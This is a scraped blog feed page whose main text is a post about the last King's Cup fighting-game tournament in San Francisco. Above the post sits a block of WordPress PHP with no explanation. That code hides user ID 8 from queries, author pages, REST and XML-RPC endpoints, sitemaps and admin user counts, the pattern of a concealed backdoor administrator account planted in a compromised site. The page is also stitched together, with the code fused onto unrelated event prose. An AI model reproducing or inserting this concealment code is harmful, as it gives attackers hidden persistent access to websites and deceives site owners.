add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 8;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 8 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 8;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 8;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 8;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 8;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post King’s Cup: The Bay Area’s Largest Local Tournament, RIP appeared first on G33K-HQ.
]]>In order for the tournaments to happen, everything needs to be set up and running smoothly. A lot that goes into preparing these events. Everything from table and chair placement, to making sure every monitor, speaker, and game console is functioning properly on the right power outlets. At this capacity, it takes several HOURS!
And don’t forget the streamers too. These events contain live commentary and live streamed on Twitch. Streamers come in early to prepare, web cams and microphones are properly rigged to the height of the streamers, and the video footage is set up and tested rigorously to ensure that the actual moment of the event runs flawlessly.
Madhouse unpacked all the equipment the night before, and spent the whole next day preparing the entire place for the tournament. I arrived at 1pm to help out, and there was still so much to do before doors opened at 6!



It went from a giant room where you could hear your voice echo to a can of sardines in less than an hour after opening!



This event started out as a very small local of people who just wanted bragging rights in the Bay Area. A handful of passionate players, with an even smaller handful of monitors. Below was the very first King’s Cup on August 17, 2016. That was practically an entire decade ago!
Photo by ArNoGsEel

What made this event so appealing was not only the size, but the very low cost of $5 entry fee, which helped fund the prize pool. And yes, you win money for being the champ!



And since this event was the finale tournament to King’s Cup, there was even a special gift to the champions! Literal rocks!
Image below: guest player Chris G showing off his prize for winning Street Fighter 4 tournament. “Never got a rock for winning LOL”

Although this is the last ‘King’s Cup’ tournament here in San Francisco’s The Foundry, it is definitely NOT the last tournament hosted by Bay Area Madhouse. In fact, Madhouse says with confidence that the end of King’s Cup just means it’s the beginning of a new tournament.
With this kind of support from all the locals and supporters, there’s no doubt about it!

Credits to:
King’s Cup #43 Tournament hosted by Bay Area Madhouse.
And don’t forget the two guys behind the the magic, DaddyTheCaptain and Chinahasowls
The post King’s Cup: The Bay Area’s Largest Local Tournament, RIP appeared first on G33K-HQ.
]]>